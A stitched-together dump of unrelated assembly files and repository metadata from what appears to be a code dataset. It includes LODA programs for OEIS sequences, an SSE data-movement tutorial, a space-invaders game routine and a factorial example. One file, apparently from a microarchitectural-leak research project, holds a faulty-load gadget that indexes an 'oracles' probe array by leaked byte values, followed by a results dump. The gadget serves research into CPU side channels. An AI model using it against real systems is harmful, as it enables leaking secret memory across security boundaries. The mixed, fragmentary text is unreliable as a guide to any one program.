2979130219294025666680990870621825,3546608830903229590380346610062400,4214715966919634416289424606716199 mov $1,$0 pow $0,7 mov $2,$1 pow $2,10 mul $2,$0 add $0,$2 div $0,2
261.909091
2,775
0.946199
6ea992f54765d946e0a79e9f44187b9bb0148ec4
6,016
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0.log_21829_1497.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0.log_21829_1497.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0.log_21829_1497.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x14c4, %rsi lea addresses_WC_ht+0x6f1c, %rdi nop and $23895, %rbp mov $55, %rcx rep movsb nop nop xor $13572, %r11 lea addresses_A_ht+0x3a1c, %r11 nop nop and $50766, %r12 movups (%r11), %xmm2 vpextrq $1, %xmm2, %rdi nop and $18917, %rcx lea addresses_D_ht+0x1ecbc, %rcx nop nop nop nop nop inc %rsi mov (%rcx), %edi cmp $29754, %rsi lea addresses_WC_ht+0x1d92c, %rsi lea addresses_WC_ht+0x1e53c, %rdi nop nop inc %r10 mov $109, %rcx rep movsw nop nop nop nop nop sub $21846, %rcx lea addresses_WT_ht+0x1303c, %rsi lea addresses_WT_ht+0x269c, %rdi nop nop nop nop cmp $58959, %rax mov $119, %rcx rep movsl dec %r10 lea addresses_WC_ht+0xce20, %rbp nop nop nop add $5579, %rcx and $0xffffffffffffffc0, %rbp movaps (%rbp), %xmm5 vpextrq $1, %xmm5, %r11 and %r12, %r12 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %r15 push %r8 push %r9 push %rdi // Store lea addresses_WT+0x1db7c, %r14 clflush (%r14) nop nop nop and %r9, %r9 mov $0x5152535455565758, %r8 movq %r8, (%r14) nop nop inc %r15 // Load lea addresses_US+0x157ac, %rdi dec %r10 vmovaps (%rdi), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $0, %xmm2, %r15 nop nop inc %r15 // Faulty Load lea addresses_PSE+0x1699c, %r8 nop nop nop nop nop add %r10, %r10 mov (%r8), %r14 lea oracles, %r10 and $0xff, %r14 shlq $12, %r14 mov (%r10,%r14,1), %r14 pop %rdi pop %r9 pop %r8 pop %r15 pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WT', 'AVXalign': False, 'size': 8}} {'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_US', 'AVXalign': True, 'size': 32}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'src': {'NT': True, 'same': False, 'congruent': 5, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 2, 'type': 'addresses_WC_ht'}} {'src': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 16}, 'OP': 'LOAD'} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
39.578947
2,999
0.659242
27f3c7f1eba46705478a6831a533ba3673b69af8
2,854
nasm
Assembly
Tests/sample1.nasm
13xforever/x86-assembly-textmate-bundle
f1bb62f77b776d87d0fd85b0276d4237ff72c43c
[ "MIT" ]
69
2015-04-16T18:01:22.000Z
2022-02-15T07:54:26.000Z
Tests/sample1.nasm
javiercbk/x86-assembly-textmate-bundle
62d700e0196f62ef4353a9b95c2e64beb0a6afda
[ "MIT" ]
17
2016-09-20T08:49:09.000Z
2021-02-19T15:01:04.000Z
Tests/sample1.nasm
javiercbk/x86-assembly-textmate-bundle
62d700e0196f62ef4353a9b95c2e64beb0a6afda
[ "MIT" ]
19
2016-05-31T07:11:14.000Z
2021-07-19T10:17:12.000Z
; ; nasm -felf32 -g sseMove.asm ; ld -g sseMove.o ; global _start section .data align 16 v1: dd 1.1, 2.2, 3.3, 4.4 ; Four Single precision floats 32 bits each v1dp: dq 1.1, 2.2 ; Two Double precision floats 64 bits each v2: dd 5.5, 6.6, 7.7, 8.8 v2s1: dd 5.5, 6.6, 7.7, -8.8 v2s2: dd 5.5, 6.6, -7.7, -8.8 v2s3: dd 5.5, -6.6, -7.7, -8.8 v2s4: dd -5.5, -6.6, -7.7, -8.8 num1: dd 1.2 v3: dd 1.2, 2.3, 4.5, 6.7 ; No longer 16 byte aligned v3dp: dq 1.2, 2.3 ; No longer 16 byte aligned section .bss mask1: resd 1 mask2: resd 1 mask3: resd 1 mask4: resd 1 section .text _start: ; ; op dst, src ; ; ; SSE ; ; Using movaps since vectors are 16 byte aligned movaps xmm0, [v1] ; Move four 32-bit(single precision) floats to xmm0 movaps xmm1, [v2] movups xmm2, [v3] ; Need to use movups since v3 is not 16 byte aligned ;movaps xmm3, [v3] ; This would seg fault if uncommented movss xmm3, [num1] ; Move 32-bit float num1 to the least significant element of xmm4 movss xmm3, [v3] ; Move first 32-bit float of v3 to the least significant element of xmm4 movlps xmm4, [v3] ; Move 64-bits(two single precision floats) from memory to the lower 64-bit elements of xmm4 movhps xmm4, [v2] ; Move 64-bits(two single precision floats) from memory to the higher 64-bit elements of xmm4 ; Source and destination for movhlps and movlhps must be xmm registers movhlps xmm5, xmm4 ; Transfers the lower 64-bits of the source xmm4 to the higher 64-bits of the destination xmm5 movlhps xmm5, xmm4 ; Transfers the higher 64-bits of the source xmm4 to the lower 64-bits of the destination xmm5 movaps xmm6, [v2s1] movmskps eax, xmm6 ; Extract the sign bits from four 32-bits floats in xmm6 and create 4 bit mask in eax mov [mask1], eax ; Should be 8 movaps xmm6, [v2s2] movmskps eax, xmm6 ; Extract the sign bits from four 32-bits floats in xmm6 and create 4 bit mask in eax mov [mask2], eax ; Should be 12 movaps xmm6, [v2s3] movmskps eax, xmm6 ; Extract the sign bits from four 32-bits floats in xmm6 and create 4 bit mask in eax mov [mask3], eax ; Should be 14 movaps xmm6, [v2s4] movmskps eax, xmm6 ; Extract the sign bits from four 32-bits floats in xmm6 and create 4 bit mask in eax mov [mask4], eax ; Should be 15 ; ; SSE2 ; movapd xmm6, [v1dp] ; Move two 64-bit(double precision) floats to xmm6, using movapd since vector is 16 byte aligned ; Next two instruction should have equivalent results to movapd xmm6, [vldp] movhpd xmm6, [v1dp+8] ; Move a 64-bit(double precision) float into the higher 64-bit elements of xmm6 movlpd xmm6, [v1dp] ; Move a 64-bit(double precision) float into the lower 64-bit elements of xmm6 movupd xmm6, [v3dp] ; Move two 64-bit floats to xmm6, using movupd since vector is not 16 byte aligned
40.197183
118
0.686055
34f78756a2e8046f1998885d779dfb554eb40412
2,037
asm
Assembly
programs/oeis/135/A135713.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/135/A135713.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/135/A135713.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A135713: a(n) = n*(n+1)*(4*n+1)/2. ; 0,5,27,78,170,315,525,812,1188,1665,2255,2970,3822,4823,5985,7320,8840,10557,12483,14630,17010,19635,22517,25668,29100,32825,36855,41202,45878,50895,56265,62000,68112,74613,81515,88830,96570,104747,113373,122460,132020,142065,152607,163658,175230,187335,199985,213192,226968,241325,256275,271830,288002,304803,322245,340340,359100,378537,398663,419490,441030,463295,486297,510048,534560,559845,585915,612782,640458,668955,698285,728460,759492,791393,824175,857850,892430,927927,964353,1001720,1040040,1079325,1119587,1160838,1203090,1246355,1290645,1335972,1382348,1429785,1478295,1527890,1578582,1630383,1683305,1737360,1792560,1848917,1906443,1965150,2025050,2086155,2148477,2212028,2276820,2342865,2410175,2478762,2548638,2619815,2692305,2766120,2841272,2917773,2995635,3074870,3155490,3237507,3320933,3405780,3492060,3579785,3668967,3759618,3851750,3945375,4040505,4137152,4235328,4335045,4436315,4539150,4643562,4749563,4857165,4966380,5077220,5189697,5303823,5419610,5537070,5656215,5777057,5899608,6023880,6149885,6277635,6407142,6538418,6671475,6806325,6942980,7081452,7221753,7363895,7507890,7653750,7801487,7951113,8102640,8256080,8411445,8568747,8727998,8889210,9052395,9217565,9384732,9553908,9725105,9898335,10073610,10250942,10430343,10611825,10795400,10981080,11168877,11358803,11550870,11745090,11941475,12140037,12340788,12543740,12748905,12956295,13165922,13377798,13591935,13808345,14027040,14248032,14471333,14696955,14924910,15155210,15387867,15622893,15860300,16100100,16342305,16586927,16833978,17083470,17335415,17589825,17846712,18106088,18367965,18632355,18899270,19168722,19440723,19715285,19992420,20272140,20554457,20839383,21126930,21417110,21709935,22005417,22303568,22604400,22907925,23214155,23523102,23834778,24149195,24466365,24786300,25109012,25434513,25762815,26093930,26427870,26764647,27104273,27446760,27792120,28140365,28491507,28845558,29202530,29562435,29925285,30291092,30659868,31031625 mov $1,$0 mul $0,4 add $0,3 bin $0,2 sub $0,1 mul $1,$0 div $1,4
185.181818
1,933
0.850761
0be097e805ec179e8631061e0cd6b594edda9220
721
asm
Assembly
oeis/036/A036228.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/036/A036228.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/036/A036228.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A036228: a(1) = 31; a(n+1) = a(n) + sum of decimal digits of a(n). ; Submitted by Jamie Morken(w4) ; 31,35,43,50,55,65,76,89,106,113,118,128,139,152,160,167,181,191,202,206,214,221,226,236,247,260,268,284,298,317,328,341,349,365,379,398,418,431,439,455,469,488,508,521,529,545,559,578,598,620,628,644,658,677,697,719,736,752,766,785,805,818,835,851,865,884,904,917,934,950,964,983,1003,1007,1015,1022,1027,1037,1048,1061,1069,1085,1099,1118,1129,1142,1150,1157,1171,1181,1192,1205,1213,1220,1225,1235,1246,1259,1276,1292 mov $2,$0 add $2,30 mov $3,$0 lpb $3 mov $0,$2 sub $2,1 sub $3,1 sub $0,$3 seq $0,7953 ; Digital sum (i.e., sum of digits) of n; also called digsum(n). add $2,$0 lpe mov $0,$2 add $0,1
40.055556
421
0.680999
50d6570a4f53cd39152abd2f038709e254d3253c
422
asm
Assembly
21-so/test1.asm
gashev/assembly-examples
3e7e5d37af00e6d6202a589ffa36a888edb5be16
[ "Unlicense" ]
1
2021-01-06T01:45:37.000Z
2021-01-06T01:45:37.000Z
21-so/test1.asm
gashev/assembly-examples
3e7e5d37af00e6d6202a589ffa36a888edb5be16
[ "Unlicense" ]
null
null
null
21-so/test1.asm
gashev/assembly-examples
3e7e5d37af00e6d6202a589ffa36a888edb5be16
[ "Unlicense" ]
null
null
null
extern exit extern factorial extern printf SECTION .data format: db '%d! = %d', 10, 0 SECTION .text GLOBAL _start _start: ; Init index. mov rdi, 7 call factorial ; Print factorial mov rdx, rax ; Store factorial mov rsi, rdi ; Store index mov rdi, format ; Output format mov rax, 0 call printf end: ; Exit application. mov rdi, 0 call exit
14.066667
41
0.590047
1207f03523b41556856b3c8f1351cc4b638b6c09
900
asm
Assembly
programs/oeis/101/A101869.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/101/A101869.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/101/A101869.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A101869: Row 2 of A101866. ; 10,20,26,36,46,52,62,68,78,88,94,104,114,120,130,136,146,156,162,172,178,188,198,204,214,224,230,240,246,256,266,272,282,292,298,308,314,324,334,340,350,356,366,376,382,392,402,408,418,424,434,444,450,460,466,476,486 mov $3,$0 mov $7,$0 add $7,1 lpb $7 mov $0,$3 sub $7,1 sub $0,$7 mov $11,$0 mov $13,2 lpb $13 mov $0,$11 sub $13,1 add $0,$13 sub $0,1 mov $2,$0 mov $0,32 add $2,1 mov $4,$6 mov $5,33 div $9,15 add $9,$2 mov $10,13 lpb $0 add $0,2 add $4,$0 mov $0,5 mul $10,$5 mul $10,$9 div $10,$4 add $10,2 mul $10,2 sub $10,2 lpe mov $8,$13 mov $9,2 lpb $8 sub $8,1 mov $12,$10 lpe lpe lpb $11 mov $11,0 sub $12,$10 lpe mov $10,$12 sub $10,24 div $10,2 mul $10,4 add $10,6 add $1,$10 lpe
16.363636
218
0.502222
2b61f6f7b02ebbe345f1d6d7484a483f456f7bd9
2,075
asm
Assembly
src/invaders.asm
cyblue9/asm-space-invaders
08e6dcc40fde8cdcc26925be256f45e0cd0d49cb
[ "MIT" ]
242
2017-01-30T17:25:31.000Z
2022-03-07T13:48:33.000Z
src/invaders.asm
cyblue9/asm-space-invaders
08e6dcc40fde8cdcc26925be256f45e0cd0d49cb
[ "MIT" ]
16
2017-01-25T01:32:14.000Z
2020-02-16T05:46:11.000Z
src/invaders.asm
cyblue9/asm-space-invaders
08e6dcc40fde8cdcc26925be256f45e0cd0d49cb
[ "MIT" ]
17
2017-01-31T19:40:27.000Z
2020-12-13T01:01:00.000Z
; ****************************************************** ; * move ; ***************************************************** move_invaders: cmp byte [invaders_move_cycle], INVADERS_MOVE_CYCLES je .move inc byte [invaders_move_cycle] jmp .done .move: push si push cx push dx push ax mov byte [invaders_move_cycle], 0 ; reset the cycle counter mov si, invaders mov cl, NUM_INVADERS .loop: ; load position mov dx, [si] ; skip invader, if destroyed cmp dx, INVALID_STATE je .continue ; move invader mov al, [invaders_move_direction] call move ; check collisions call check_bullet_collisions mov [si], dx cmp dx, INVALID_STATE jne .shoot ; dec invader counter dec byte [num_invaders_alive] jmp .continue .shoot: ; shoot, if necessary mov al, [invaders_shoot_cycle] cmp byte al, [invaders_shoot_cycles] jne .continue call create_invader_bullet .continue: add si, INVADER_SIZE dec cl jnz .loop ; update the shoot cycle mov al, [invaders_shoot_cycle] cmp byte al, [invaders_shoot_cycles] jne .inc_shoot_cycle mov byte [invaders_shoot_cycle], 0 jmp .update_move_direction .inc_shoot_cycle: inc byte [invaders_shoot_cycle] .update_move_direction: mov al, [invaders_move_direction] inc al cmp al, MOVE_RESET jl .save_move_direction xor al, al ; reset the move direction .save_move_direction: mov [invaders_move_direction], al ; restore registers pop ax pop dx pop cx pop si .done: ret ; ****************************************************** ; * render ; ***************************************************** render_invaders: push si push ax push cx mov si, invaders mov cl, NUM_INVADERS .loop: mov dx, [si] cmp dx, INVALID_STATE je .continue mov ax, cx mov bl, 2 div bl cmp ah, 0 je .set_magenta mov bl, FG_BRIGHT_YELLOW jmp .print .set_magenta: mov bl, FG_MAGENTA .print: add bl, BG_BLACK mov al, ICON_INVADER call print_object .continue: add si, INVADER_SIZE dec cl jnz .loop .done: pop cx pop ax pop si ret
18.043478
61
0.630361
c8d029cfe99ce6db310d37d181ee56634fac2b82
307
asm
Assembly
programs/oeis/095/A095264.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/095/A095264.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/095/A095264.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A095264: a(n) = 2^(n+2) - 3*n - 4. ; 1,6,19,48,109,234,487,996,2017,4062,8155,16344,32725,65490,131023,262092,524233,1048518,2097091,4194240,8388541,16777146,33554359,67108788,134217649,268435374,536870827,1073741736,2147483557 mov $2,$0 add $0,3 mov $1,2 pow $1,$0 mul $2,3 sub $1,$2 sub $1,7 mov $0,$1
25.583333
192
0.70684
9e866a4ee0c5010fbaca30bb635323fecf5ba778
1,478
asm
Assembly
src/test/ref/struct-unwinding-1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/test/ref/struct-unwinding-1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/test/ref/struct-unwinding-1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
// Test combining unwind structs with classic structs // Commodore 64 PRG executable file .file [name="struct-unwinding-1.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) .const SIZEOF_STRUCT_POINT = 2 .const OFFSET_STRUCT_POINT_Y = 1 .label SCREEN = $400 .segment Code main: { .label p1 = 2 // __ma struct Point p1 = { 1, 2 } ldy #SIZEOF_STRUCT_POINT !: lda __0-1,y sta p1-1,y dey bne !- // SCREEN[0] = p1 ldy #SIZEOF_STRUCT_POINT !: lda p1-1,y sta SCREEN-1,y dey bne !- // struct Point p2 = p1 lda.z p1 ldx.z p1+OFFSET_STRUCT_POINT_Y // SCREEN[2] = p2 sta SCREEN+2*SIZEOF_STRUCT_POINT stx SCREEN+2*SIZEOF_STRUCT_POINT+OFFSET_STRUCT_POINT_Y // p1.x = 3 // Set in classic struct lda #3 sta.z p1 // SCREEN[4] = p1 ldy #SIZEOF_STRUCT_POINT !: lda p1-1,y sta SCREEN+4*SIZEOF_STRUCT_POINT-1,y dey bne !- // SCREEN[6] = p2 lda #4 sta SCREEN+6*SIZEOF_STRUCT_POINT stx SCREEN+6*SIZEOF_STRUCT_POINT+OFFSET_STRUCT_POINT_Y // p1 = p2 sta.z p1 stx.z p1+OFFSET_STRUCT_POINT_Y // SCREEN[8] = p1 ldy #SIZEOF_STRUCT_POINT !: lda p1-1,y sta SCREEN+8*SIZEOF_STRUCT_POINT-1,y dey bne !- // } rts } .segment Data __0: .byte 1, 2
22.393939
69
0.633965
9b15bf321d9a58d1b32c155dcc3bda14539d050c
457
nasm
Assembly
5 Metasploit Shellcode/chmod.nasm
kecebon9/slae32
1f459a2f73b99f0e93fedccbaccc89f622dcd846
[ "Apache-2.0" ]
null
null
null
5 Metasploit Shellcode/chmod.nasm
kecebon9/slae32
1f459a2f73b99f0e93fedccbaccc89f622dcd846
[ "Apache-2.0" ]
null
null
null
5 Metasploit Shellcode/chmod.nasm
kecebon9/slae32
1f459a2f73b99f0e93fedccbaccc89f622dcd846
[ "Apache-2.0" ]
null
null
null
; SLAE Exam Assignment #5: Metasploit Shellcode chmod ; msfvenom -p linux/x86/chmod -f raw | ndisasm -u - | cut -f4- -d" " | column -t global _start section .text _start: cdq push byte +0xf pop eax push edx call 0x16 das gs jz 0x71 das jnc 0x79 popa fs outsd ja 0x16 pop ebx push dword 0x1b6 pop ecx int 0x80 push byte +0x1 pop eax int 0x80
16.925926
80
0.544858
ddc1362b22cfa2ffcd86bd62ca08c5f7df844da0
749
asm
Assembly
Engine Hacks/NegativeStatBoosts/asm/negativestatbar.asm
sme23/MekkahRestrictedHackComp1
1cc9d2fec557424f358b6bfa21f9f3bb6faf2978
[ "CC0-1.0" ]
3
2020-06-15T14:22:38.000Z
2020-06-28T19:44:52.000Z
Wizardry/Necessary/NegativeStatBoosts/asm/negativestatbar.s
sme23/WhatHeck
746a2be83358aaa4e855182176b47c4808f2587a
[ "CC0-1.0" ]
null
null
null
Wizardry/Necessary/NegativeStatBoosts/asm/negativestatbar.s
sme23/WhatHeck
746a2be83358aaa4e855182176b47c4808f2587a
[ "CC0-1.0" ]
null
null
null
@negative stat bar handler .thumb .org 0 @coming from 8086ae2, we need to return to 8086b02 cmp r1, #0 beq End blt NegBar @original routine goes here mov r0,r8 add r0,#2 ldr r3,[sp,#0x28] add r5,r3,r0 mov r4,r1 Loop1: mov r0,r7 mov r1,r6 mov r2,r5 ldr r3,GreenPalette mov lr,r3 .short 0xf800 add r5,#1 sub r4,#1 cmp r4,#0 bne Loop1 b End NegBar: neg r1,r1 mov r0,r8 add r0,#2 ldr r3,[sp,#0x28] add r5,r3,r0 sub r5,r1 mov r4,r1 Loop2: mov r0,r7 mov r1,r6 mov r2,r5 bl RedPalette add r5,#1 sub r4,#1 cmp r4,#0 bne Loop2 End: ldr r0, Return bx r0 .align GreenPalette: .long 0x8086a24 Return: .long 0x8086b03 RedPalette: push {r4} add r3,r1,r2 add r3,r0 mov r4,#8 strb r4,[r3] lsl r1,#1 add r1,r2 add r0,r1 mov r1,#7 strb r1,[r0] pop {r4} bx lr
10.402778
50
0.70227
7dbf2e42706d37b6e2319b2f398744661e0d58c4
987
asm
Assembly
Objective-C/dis.asm
yuxiqian/assembly-inject
cf80aa3241abcab21c0811cab026f36ef0c079df
[ "MIT" ]
null
null
null
Objective-C/dis.asm
yuxiqian/assembly-inject
cf80aa3241abcab21c0811cab026f36ef0c079df
[ "MIT" ]
null
null
null
Objective-C/dis.asm
yuxiqian/assembly-inject
cf80aa3241abcab21c0811cab026f36ef0c079df
[ "MIT" ]
null
null
null
(__TEXT,__text) section _main: 0000000100000f00 pushq %rbp 0000000100000f01 movq %rsp, %rbp 0000000100000f04 subq $0x20, %rsp 0000000100000f08 movl $0x0, -0x4(%rbp) 0000000100000f0f leaq 0x7a(%rip), %rdi 0000000100000f16 movb $0x0, %al 0000000100000f18 callq 0x100000f60 0000000100000f1d leaq 0x7e(%rip), %rdi 0000000100000f24 leaq -0x8(%rbp), %rsi 0000000100000f28 leaq -0xc(%rbp), %rdx 0000000100000f2c movl %eax, -0x14(%rbp) 0000000100000f2f movb $0x0, %al 0000000100000f31 callq 0x100000f66 0000000100000f36 movl -0x8(%rbp), %ecx 0000000100000f39 addl -0xc(%rbp), %ecx 0000000100000f3c movl %ecx, -0x10(%rbp) 0000000100000f3f movl -0x10(%rbp), %esi 0000000100000f42 leaq 0x5f(%rip), %rdi 0000000100000f49 movl %eax, -0x18(%rbp) 0000000100000f4c movb $0x0, %al 0000000100000f4e callq 0x100000f60 0000000100000f53 xorl %ecx, %ecx 0000000100000f55 movl %eax, -0x1c(%rbp) 0000000100000f58 movl %ecx, %eax 0000000100000f5a addq $0x20, %rsp 0000000100000f5e popq %rbp 0000000100000f5f retq
34.034483
39
0.78926
34d8335a4b14744d97421555b3f5181c02bba0e9
6,714
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_159.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_159.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_159.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
